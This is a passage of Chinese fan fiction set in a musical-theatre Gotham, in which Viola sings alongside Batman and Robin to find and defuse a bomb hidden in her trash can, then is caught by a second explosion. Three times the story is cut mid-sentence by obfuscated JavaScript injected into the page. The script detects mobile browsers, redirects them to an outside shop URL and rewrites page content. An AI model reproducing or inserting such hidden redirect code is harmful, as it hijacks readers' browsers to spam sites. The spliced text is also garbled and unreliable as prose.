噔!一个强拍,罗宾昂起头,也朝那人的方向望去,双手抱臂,骄傲得像舞台上刚被无数声Bravo轰炸的返场谢幕演员。 [啊,罗宾!我们一起将难题理清!] 这是蝙蝠侠在转头对罗宾唱。 [啊,蝙蝠,我相信困难一定会被克服!] 这是罗宾扭头对蝙蝠侠唱。 站在两人中间的维奥拉:“……?” 别误会,蝙蝠侠和罗宾当然唱得很好,值得一万个掌声和bravo。 但是。 Hello?她的歌词呢? 谁来给她分点歌词? 不是三人组合的showtime吗,第三人怎么没歌词也没戏份? 面前两人已经渐入佳境,双双执手歌唱着远大的理想、美好的未来和对罪犯的势在必得,而维奥拉被他们夹在中间,在四只手的交叉中艰难呼吸。 说好的showtime为什么没有她的戏份,她也想要showtime! 而且有没有人关心一下还有十几分钟就要BOOM一声爆炸的炸弹啊!!! 冷静,维奥拉,他们在唱音乐剧,而唱音乐剧的人只会无视视线范围内所有和他们歌唱对象无关的人和事,维奥拉惨兮兮地想。 她要拥有自己的showtime,要让所有人听见她的声音找到炸弹,那么她也要——唱音乐剧。 就是这么简单。 维奥拉扒开蝙蝠侠和罗宾在她脸颊上相牵的手,长舒一口气,计划自己的showtime流程。 首先,她要找一个调。 这不算难。B卡的坏蛋曲调滑稽轻快,不高不低,即使是维奥拉这样的赛级音痴,也能在几十个字里依稀复刻一两个在调上的音,这已经足够了。 然后,她要有歌词。 这意味着,她要把“蝙蝠侠和罗宾你们听我说啊这个坏蛋说他把炸弹扔在垃圾桶里了所以事不宜迟我们快点行动吧”这个简单的事实唱出来。 最后,她要押韵。 这个有些难度。维奥拉费尽心思地搜寻歌词的韵脚,最终妥协,对着空气小声说:“我想我大概需要一个笔记本和一支笔。” 是的,她再次对着整个舞台自言自语。 刷地一声,那辆熟悉的出租车如她预料般急速驶来,猛地停在她身边。 车窗摇下,那个穿着短袖背带裤、“疑似海绵宝宝真人版但由于版权所以他肯定不是海绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16936642|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝宝”的男人又一次探出身体,愉快地唱道: [我准备好了!我准备好了!] 唱完,他递给她一个黑色的笔记本和一支按动笔,又关上窗户一脚油门消失在维奥拉的视线里。 维奥拉嘴巴微张:“……哇哦。” 她现在已经拥有了所有的必备条件,该写出歌词然后唱出来了。 还有十五分钟。 现在她必须像音乐剧里那些被逼到绝境的主角一样,在急迫的鼓点声中不停地写写写。 灯光忽明忽暗,她的胳膊撑在车盖,不停地写了又划掉,小声给自己唱: [Whydoyouwritelikeyouarerunningoutoftime?](为何你奋笔疾书,就像时间已经快流尽?)(注1) “押韵,歌词,炸弹……”维奥拉把本子拍在蝙蝠车前盖,冥思苦想。 她身后,是仍然在抒情二重唱的活力双雄——蝙蝠侠与罗宾(音乐剧版)。在背景音乐中,维奥拉咬着笔头写下了人生中最正式的一次音乐剧歌词。 四句歌词,一个曲调,目标是阻止爆炸。 写完最后一句歌词,维奥拉放下笔。 砰。 一瞬间,第四束光打向她。 同样是一束蓝色的光,并不算耀眼,甚至有些稀薄。维奥拉第一次如此正式地站在舞台灯光下,握紧了本子和笔,紧张地吞咽口水。 烟雾。灯光。音乐。 旋转的蓝色灯光安抚了她的神经,在飘渺的干冰影响下,舞台柔和,维奥拉像置身音乐天使所在的那个天堂。 维奥拉清了清嗓子。 冷静,维奥拉·缪特,这是你的表演时间。 Showtime! 她觉得此刻应该酷一点,于是扭头对空气吩咐:“音乐。” 坏蛋小曲儿立刻响起。 维奥拉面向蝙蝠侠和罗宾,翻开笔记,露出歌词那一页。她清了清嗓子,抬起下巴,对他们唱道: [我的搭档们,别再闲谈] [快听听,这是我的答案] [公寓楼下垃圾桶里放着炸弹] [我们快去清理,千万别怠慢!] 浅蓝的追光随着她最后一句歌词开始闪烁,几秒钟后转为耀眼的白色,似乎散发着“你是主角你超棒”的光辉,庄严的弦乐再次出现。 过于快速的节奏和强烈的节拍让维奥拉有些喘不过气,她合上笔记本,抬头看向自己的搭档。 强光之下她看不清任何东西,但在光环之外,她瞥见蝙蝠侠正被风吹起的披风一角和罗宾那双像彼得潘的作战靴。弦乐慢慢奏响,维奥拉仿佛来到世界级的颁奖典礼现场。 光太亮了,她几乎头晕目眩。 “Brava,睡衣侠!”突然,蝙蝠侠走进了光里,轻拍她的肩膀,“我早该知道,你很适合站在舞台中央。” 维奥拉晕乎乎的:“什么?” 罗宾也站进来,为她鼓掌:“他说你是音乐剧天才,睡衣侠!” “我?” “是你,没错。”蝙蝠侠笑起来,“你的showtime很完美。” 黄色脚灯打在他的鞋子上,他一手按在心口,一手搭在她的肩膀上,欣慰地唱: [睡衣侠,你的showtime值得一万句夸赞!] [是谁有这样的天赋和才干?] [是你,我亲爱的搭档,智慧的伙伴!] [Brava!Brava!请接收我们对你的称赞!] 维奥拉感动但困惑:“你怎么还在押坏蛋歌的韵?” 蝙蝠侠深沉摇头: [不重要。现在,快快出发,我们去排查炸弹!] 炸弹! 维奥拉清醒了。 噢对啊,他们在这又唱又跳了十几分钟,炸弹……还好吗? 或者说,它是不是已经快Tick,Tick——BOOM了? 维奥拉:“……” 公——寓—— 20. Boom Summary:一枚炸弹快要爆炸时,你该做些什么?快学习一下决斗十诫,把十秒钟延长成三分钟,然后,十九八七六五四三二一,boom! —— 当有人说她在夜巡、在拯救世界、在挽救城市遭遇危机时,绝对不意味着她此刻正在翻垃圾桶。 而我们的维奥拉·缪特除外。 “我确认一下,我们现在的任务是从垃圾桶里找出炸弹,对吗?”罗宾问。 维奥拉看着蝙蝠侠标出的公寓附近42个垃圾桶的位置,觉得胃抽搐了一下:“是的。” “别着急,我们还有……啊哈,9分钟!”蝙蝠侠看了看时间,乐观道,“我们会成功的。” 九分钟! 维奥拉忍不住问:“为什么你这么放松?” [因为,他是——蝙蝠侠!] 黑夜里冒出一句神圣空灵的合唱,领唱人还是刚才正坐在维奥拉窗边,现在又站在二十米外一个紫色垃圾桶旁的企鹅人B卡,罗宾也双手合十跟着唱。 维奥拉:“……” 她已经不会对任何给蝙蝠侠唱和声的反派表示震惊了。 这是音乐剧世界,没有什么事不可能的,她明白,她明白。 但是。 这个紫色垃圾桶是她家的!!! 她家垃圾桶怎么在这人手里了? 公寓进贼了,企鹅人派小偷把她家垃圾桶偷走了啊! GCPD呢,她要报警。 蝙蝠侠收起电子面板上显示的垃圾桶排查图,郑重跟唱道: [没错,因为我是,蝙——蝠——侠——] 代表性的黄色灯光打在蝙蝠侠的头盔上,他缓慢点头,在和声的“哦哦哦”中甩开披风,走到路灯下,微微抬头望向头顶路灯,庄重威严。 维奥拉深呼吸,决定把自己的垃圾桶失窃案放在后面处理:“……好的,但是我们该怎么找炸弹呢?用你的探测器?” 蝙蝠侠意犹未尽地结束唱段,答:“当然,探测器可以定位大致方向,迅速排查。” 他从万能腰带里掏出那枚探测器,在上面点了几下,那机器的顶部闪烁起红光。蝙蝠侠举起它,朝前走了两步,向左转,最终得出结论:“这个方向。” 维奥拉惊讶:“这么快?” 蝙蝠侠笑了笑,将探测器抛给罗宾,罗宾敏捷地接住,在最前面探路。维奥拉走在最后,只见蝙蝠侠突然停下脚步,转过身,对她唱道: [是呀,在音乐剧世界就是这样奇妙] [我们发现问题,快速解决掉] [为什么?] [因为蝙蝠侠有各种妙招!] “我们还有几分钟?”维奥拉有些担心自己的公寓,“毕竟唱歌拖了太长时间。” “噢,别担心,睡衣侠。”蝙蝠侠安慰道,“这个世界尊重一切歌声,因此,当我们在唱音乐剧时,时间流速是不定的,比如现在,瞧瞧,只过去了一分钟。” 维奥拉的心稍微安稳了些。 音乐突转,坏蛋曲又出现了。那个戴礼帽的B卡仍然站在紫色垃圾桶旁,双手捏拳,幽幽唱道: [该死,他们发现了垃圾桶的秘密!] [不行,我得阻止他们解决危机!] 噔! 一束光打给蝙蝠侠和罗宾以及维奥拉。 噔! 另一束打给礼帽男。 紫色灯光下,B卡男得意洋洋地跳起舞: [今夜蝙蝠侠休想救下哥谭!] [这次是他意想不到的地段!] 罗宾指着前方,唱道: [这检测器说炸弹就在前面] [可现在有二十个垃圾桶在眼前!] 蝙蝠侠在一阵电吉他声中指向前方,颇具气势地喊道: [还有四分钟,我的两位伙伴] [一一探测,我们会找到答案!] 维奥拉思考着自己是不是也该唱两句歌词跟上搭档们的节奏,但他们头顶的灯光突然暗下来,B卡男头上乍然亮起一束蓝色强聚焦光,随着他每一个动作闪烁一次。他原地跳起来,唱道: [我得阻止他们!] [蝙蝠侠,罗宾,还有那个无名氏!] 被忽视的维奥拉:“……我也有代号。” 他头顶的灯突然灭掉,蝙蝠侠的位置亮起红色光,也随着蝙蝠侠的动作而闪烁。 蝙蝠侠示意罗宾将探测器还给他,在探测器窄窄的屏幕边按了几下。机器突然开始唱歌,居然还是深沉的男低音: [噢,我是蝙蝠侠的神奇道具!] [定位探寻是我擅长的专题] [Beep,Beep!报告,前方东北侧二十米!] 蝙蝠探测器居然也能唱歌……好吧,大概这是子供向的童话世界。 蝙蝠侠满意地拍拍探测器: [干得好,老伙计] [你是我得力的蝙蝠科技!] 维奥拉:“……?” 罗宾已经跑到最前方,跟着探测器的指示定位了几个垃圾桶。他回过头,朝维奥拉招手: [睡衣侠,快来行动] [我们一起翻垃圾桶!] 维奥拉被他直白的歌词呛到,小跑着跟过去:“好的,好的,我来了。” 两人对着滴滴叫着“不是这里!”“不是这个垃圾桶!”“还有一米!”的探测器,任劳任怨翻找垃圾。 红光熄灭,蓝光再次亮起,礼帽男摘下礼帽,二度露出他的光头。他咬牙切齿唱道: [该死,他们要接近了!我该登场了!] 蓝光一步步朝三人逼近,他也在灯光闪烁中朝他们袭来。 蝙蝠侠所在位置的红色灯光也对应亮起。 他转过头,一动不动注视着来者。维奥拉从翻垃圾桶的繁忙任务中抬起头,只能看见他的后脑勺。 那枚蝙蝠头盔有尖尖的耳朵,他的披风也很长,在红色的灯光下,竟然真有些像骇人的巨大蝙蝠。 鼓点。 咚。 蓝光靠近,那名B卡的声音逐渐狡诈: [我先解决这蝙蝠,接着是罗宾和这女孩] [我有一把麻醉.枪,保证让他们惨败!] 咚。 蓝光灭去,红光闪烁,蝙蝠侠动了一步: [罪犯此刻一定在暗处等待] [我要保护搭档们不受阻碍] 咚。 红光和蓝光交织在一起。 维奥拉抬起头。 有时候维奥拉也很佩服自己为什么总喜欢在危急的关头发散思维开始走神,比如,当她看到面前两人灯光汇聚之际,她想到的第一件事是: 为什么正邪双方要选红色灯光和蓝色灯光啊,她猛地抬头看还以为他们在演罗密欧与朱丽叶呢。 但她很快把心思重新投入到翻垃圾桶中,一边卖力进行伟大的义警夜巡翻垃圾事业,一边抽空看蝙蝠侠的演出。 然而现场寂静,音乐消失。 就像身处风暴眼中,世界一片安静。 红光亮起,蝙蝠侠的身形出现在视线中。他侧身面对着企鹅人B卡,随后伸出拳头。 蓝光亮起,那人敏捷躲开一击,取下礼帽,从帽子里倒出一群鸽子。 等等。 鸽子……? 喂,这场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16947970|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏还兼具杂耍表演??? 维奥拉呆呆地看着鸽子扑向蝙蝠侠的脸,蝙蝠侠挥手驱赶它们,不断退后。B卡男哈哈笑道:“蝙蝠侠,你阻止不了我们老板的炸弹!” 红光闪烁后,陡然熄灭。 “蝙蝠侠!”维奥拉忍不住大喊。 他怎么了?那群鸽子会不会有毒,比如笑气?比如稻草人的恐惧毒气?又或者,这男人在灯光熄灭后趁乱袭击他吗?他危险吗? 维奥拉猛地站起来,又想到还没有找出炸弹,俯下身快速地翻找,焦急得两头打转。 罗宾用手肘戳戳她,小声说:“别担心。他是蝙蝠侠,这点小麻烦会解决的。” 维奥拉冷静了些。也对,他可是蝙蝠侠,怎么可能因为几只鸽子和不知名小喽啰就被偷袭呢? 只是在她来到哥谭以后,她从来都只看到蝙蝠侠从容的一面——噢,摔倒在她家碎玻璃上那次不算。 咚咚。 鼓声冷静地响起。 红光猛地照亮他们,一切都变得清晰可见,蝙蝠侠从披风中一跃而起,踢倒B卡,脚挪开他的帽子,低头俯视他:“您的马戏表演结束了,先生。” 他拿出绳索,几秒钟就把对方捆得扎扎实实。 [哦哦哦,他是蝙蝠侠——] 熟悉的和声响彻哥谭,聚光灯拼命闪烁,把蝙蝠侠照在几乎白昼的强光下。 [炸弹!还有那枚炸弹!] [即使我失败了,你们照样完蛋!] [哈哈,蝙蝠侠,这里会被炸得破烂!] 那位声称自己是企鹅人B卡的光头躺在地上冷笑,唱着以上歌词。维奥拉加快了探测速度,如今他们只剩下最后一个垃圾桶没查看了,那就是—— 刚才B卡倚靠的、她公寓里的、她前天新买的紫色垃圾桶。 维奥拉:“?” 真有人把炸弹塞自己手边?真有人把答案放在自己的眼前??? 也许当初企鹅人给全体手下开课时讲过“最危险的地方就是最安全的地方”,而很明显这位B卡听进去了,并且严格执行。 而且他们三人谁也没觉得他靠着的垃圾桶有什么问题。 想通一切的维奥拉:“……” 好想对着这人唱一句“youmustbeoutofyourgoddamnmind”(你该死的一定是脑子进水了吧)。(注1) 罗宾已经跑到紫色垃圾桶旁,朝里面张望:“蝙蝠侠,睡衣侠!炸弹在这里!” “我来处理。”蝙蝠侠走过来,从万能腰带里拿出拆除工具,“离远一点,孩子们。” [哈哈哈,愚蠢的蝙蝠侠,以为他已经赢啦] [谁都不会告诉他,炸弹会在十秒后爆炸!] 那名B卡发出笑声,在地上滚来滚去。 十秒。 维奥拉几乎没来得及做出别的反应,她朝蝙蝠侠跑去,按住垃圾桶盖,对蝙蝠侠说:“它要爆炸了,快跑。” 蝙蝠侠蹙眉:“你……” 啊,在音乐剧世界,十秒钟可以很短,也可以很长。你会看到有人在子弹飞来的那一刻拥有3分钟的独白,你也会看到在一句话里故事已经过去了十年。所以当维奥拉按住那个装有炸弹的垃圾桶时,她用尽毕生音乐剧观影经验思考如何延长这十秒钟。 比如绞尽脑汁地想歌词唱一首歌,比如大喊一声“超人我需要帮助!”来呼唤大都会的人间之神,又比如,一个更本土、更音乐剧、更简单也更哥谭的方法。 维奥拉看向蝙蝠侠。 十,九,八,七,六,五,四,三,二,一。 Boom! 她知道了。 21. 第二届倒霉蛋大赛 Summary:亲爱的观众,这边检测到您在哥谭已超过48小时没有遭遇危机,所以特地为您刷新了事故发生率哦。请抬头,然后对着那颗炸弹——对,对,就是彩色的那颗,说“茄子”! —— [Boom!一不留神,哥谭被炸上天际!] 熟悉的哥谭入场曲合唱由远及近,充盈了维奥拉的双耳。市民们跳着踢踏舞围过来,头戴圣诞帽,手里捧着“祝贺哥谭第1939次爆炸”的标语牌,就像爆炸是什么哥谭固定庆典仪式。 维奥拉望着载歌载舞的人群,微微张开嘴:“这是……?” 是不是庆祝得太快了点? 滴滴,快问快答环节。 如果在一部音乐剧里倒数十秒,会发生什么? 维奥拉举手回答:会进入一首三分半时长的唱歌无敌时间。 Bingo! 所以当倒计时响起时,维奥拉看向了蝙蝠侠。 “想想可以唱些什么,蝙蝠侠?”维奥拉飞快地说,“我……我还不会即兴编出一首歌。” 蝙蝠侠朝她笑了笑,笑容里有些安抚:“交给我。而且——我本来也准备唱歌,谁叫我是音乐剧蝙蝠侠呢?” 他耸耸肩。 十,九,八,七。 蝙蝠侠掀开垃圾桶,把桶盖放在大腿上当作非洲鼓一样轻拍,敲出轻快的节奏。 维奥拉朝自己的垃圾桶里看了一眼。 里面躺着一枚堪称刻板印象的舞台专用道具炸弹,圆滚滚的,表面涂层是红绿色,甚至还在炸弹引信处贴了个纸板做的“BOOM!”字母标识。 维奥拉:“……” 好显眼的炸弹。 就着节奏,蝙蝠侠的脚打起了拍子。罗宾也凑到维奥拉身边,脚下踏着拍子,慢慢跳着舞步到蝙蝠侠另一侧。灯光活了过来,三束追光一齐照来,就连维奥拉的紫色垃圾桶也熠熠生辉。 瞩目的灯光下,蝙蝠侠从万能腰带里取出一个方形物体。 [看看我手里是什么?] 维奥拉迟疑地看了一眼他手里的……不知名道具,笼统回答: [呃,工具?] 罗宾也有些为难: [大概是排爆机器,我猜?] 蝙蝠侠点头: [对!是神奇的蝙蝠道具] [用来解决我们的难题] “神奇的蝙蝠道具”……听起来很像一些动画片里会出现的标准配置,比如爱探险的朵拉之类的。 哇,那他是不是,爱探险的蝙蝠侠?维奥拉出神地想。 蝙蝠侠将那东西抛起来又接住,左右看看他们俩,轻松地唱: [看好了,我会左点、右点、再向上!] [炸弹危机就要退场!] 唱完,他把那方形的排爆装置放在垃圾桶里的炸弹上,小小的机械立刻触发了开关,刺进倒计时的面板里。 六,五,四。 神奇的蝙蝠道具开始运转,蓝绿色电流像血管一样在面板上划过。 三,二,一。 刺眼的红色阿拉伯数字闪烁了三下,变为一串0,猛然熄灭。 蝙蝠侠放下垃圾桶盖,看着她: [正如我所说,用上小小的科技] [哥谭的麻烦会无所隐蔽!] 罗宾欢呼一声,接过桶盖,表演了一段即兴敲击乐: [嘣嘣嘣!我们又一次取得胜利!] 维奥拉觉得自己产生了幻觉:“你,你的意思是,你刚才就这样那样点了几下就终止了爆炸?” 这就是音乐剧世界吗???这也太简单了吧? 蝙蝠侠抱起手臂,很是欣慰:“啊,当然,睡衣侠,这里是音乐剧,我们不会花大笔墨描述这个问题如何解决,我们只会刻画它是多么可怕,而问题解决后我们是多么喜悦。” 维奥拉试图说点什么,又咽了回去,最后晃晃脑袋,说服自己“这是音乐剧这是音乐剧这很正常”。 不不不,这还是有点不正常。 “看来你还对我们世界的运转模式有些陌生。”蝙蝠侠同情地看着她,“但是搭档,这是音乐剧,是以没有逻辑闻名的音乐剧,也是以剧情发展千奇百怪的音乐剧。所以深呼吸,然后站起来,接受我们这个世界发生的所有事吧。” 罗宾把垃圾桶盖还给维奥拉,快快乐乐地又敲了几下:“往好处想,睡衣侠,在这里你可以成为任何人,做任何事,只要你能唱歌。” 说罢,又从披风里掏出卡祖笛,嘟嘟嘟嘟地给她演奏了一曲刚才舞台的“你是主角你超棒”纯享音乐。 维奥拉:“我……” 好吧,音乐剧。 维奥拉平复了自己的呼吸,点头。她抱着自己的紫色垃圾桶站起来,问:“那,危机解决了?” 蝙蝠侠似乎很高兴她这么问:“对,危机解决了。” 他又转过头对着空气大唱: [各位,“Boom!伯恩利区危急爆炸案”已经解决了!] 伴随着蝙蝠侠的宣告,整座城市仿佛被唤醒,熟悉的蝙蝠侠主题曲奏响,刚才欢唱着哥谭要被炸上天的市民们停下舞步,坦然收起庆祝爆炸的标语牌,从兜里掏出“祝贺蝙蝠侠再次拯救哥谭”的横幅,紧接着面不改色地无卡顿继续欢唱跳舞: [哥谭爱你,哥谭爱你!] [无论天堂,还是地狱!] 围观的维奥拉不由得叹服见多识广的市民果然懂得变通,衣服兜里不知道塞了几份立场不一样的横幅。 说不定连阿卡姆占领哥谭的预案都准备好了。 入场曲的音乐渐歇,市民们转调,唱起了维奥拉熟悉的蝙蝠侠主题曲。 [他是黑暗!] [哦哦哦哦哦——] 啊,又来了。维奥拉已经熟悉了流程,目送罗宾小跑到人群中混入合唱,忍不住摇摇头。 [他是复仇!] [哦哦哦哦哦——] 维奥拉看到蝙蝠侠走进人群。 [他是,蝙——蝠——侠——!] [哦哦哦哦哦哦!] 蝙蝠侠微笑着朝市民招手,从维奥拉手里拿过那个紫色垃圾桶,举在众人面前,很快赢得了大家此起彼伏的欢呼。 [蝙蝠侠!] 他似乎在这个世界坦荡得惊人,维奥拉想。 不知道另一个世界的蝙蝠侠在哥谭人眼里又是什么样呢? 庆贺的礼炮与烟花已经放响,蝙蝠侠转过身,来到维奥拉和罗宾身边,举起他们的手。 “还有我的搭档们,罗宾,和睡衣侠!”他说。 维奥拉的右手手腕被他轻轻握住,举得高高的。她和罗宾一左一右被蝙蝠侠介绍给所有市民,要他们也同样得到人们的祝福和欢庆,甚至在放下手后鼓励地轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16955088|191308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推他们后背,要他们走到人群面前。 就像狮子王把小狮子介绍给王国里的所有动物。 维奥拉有些出神,愣愣地听着大家一会儿喊着“蝙蝠侠”,一会儿说“罗宾”,一会又叫着“睡衣侠”,那些掌声、鲜花和“bravo”如她所期待的那样到来,反而让她不知作何反应。 是这样的,当一个普通人被天降使命砸晕时,一般都会呈现出维奥拉·缪特现在的状态,我们称之为—— 大脑过载。 在眼花缭乱的庆祝中,维奥拉抱紧了蝙蝠侠还给她的垃圾桶——炸弹当然已经被取出来了,此时正在罗宾怀里。 这句话听上去有些诡异,但罗宾正饶有兴致地研究已经暂停倒计时的道具炸弹是怎么做彩色涂层的,并且声称要给自己的备用眼罩涂一个红绿配色,圣诞节夜巡用。 维奥拉紧张地笑了笑,不太适应市民此刻对睡衣侠毫不吝啬的赞美。她几乎把垃圾桶当作自己的盾牌,有些腼腆地试图藏在蝙蝠侠的披风后面。 罗宾走到她身边,也许是为了安慰她,把那花花绿绿的炸弹捧到她面前,说:“你需要一张捧着它的照片吗?我给你拍。” 维奥拉想了想,答应了。 嗯,和一枚圣诞配色的炸弹合影留恋,很符合音乐剧世界的精神。 维奥拉拘谨地抱着炸弹,不知道摆出什么动作,而罗宾已经从蝙蝠侠的万能腰带里找出一台拍立得(“万能腰带里连这也有吗?”维奥拉忍不住问),大喊:“微笑,三二一,拍照啦!” 维奥拉决定摆出一个正在揪炸弹上纸板的动作。 她抓住纸板,扯了扯。可能是她力气大了点,纸板不堪其扰,啪嗒一声落在地上。维奥拉笑着叹气,蹲下来捡起那张写着“BOOM!”的纸板。 腾! 是舞台光亮起的声音。 维奥拉寻找声音来源,看到警车里闪耀的独白曲专用聚光灯。 好像有什么不对。 熟悉的坏蛋小曲儿又响了起来,警车里的光头晃着脑袋唱道: [噢,他们以为万事大吉?] [没人知道另一层玄机] [只要有人拨动那上面的纸板] [TickTick,仔细看] [倒计时将会重演!] 维奥拉:“???” 是那枚炸弹。 不是吧,这么倒霉吗……? 维奥拉猛地低头,看到怀里的炸弹红光闪烁,随后,熟悉的数字倒计时重新出现。 十,九,八,七,六,五,四,三,二,一。 维奥拉难以置信地盯着它。 Boom! 震耳欲聋的轰鸣覆盖了所有,她的眼前明明暗暗,高热和离奇的剥离感席卷全身,她只隐约听见蝙蝠侠和罗宾的呼唤声,但很快,她什么也听不见了。 倒下之前,维奥拉迷迷糊糊地想着一件事。 人不可能一直倒霉,除非那人是维奥拉·缪特。 谁生,谁死,谁讲述你的故事。很好,她不知道谁生,谁讲述故事,但她知道谁总是死。 Bingo!是她,倒霉蛋,维奥拉·缪特。 第二届倒霉蛋大赛冠军选手! 音乐天使,她又要来天堂啦。 为什么?因为她又死啦! 在失去意识的前一秒,维奥拉苦兮兮地想。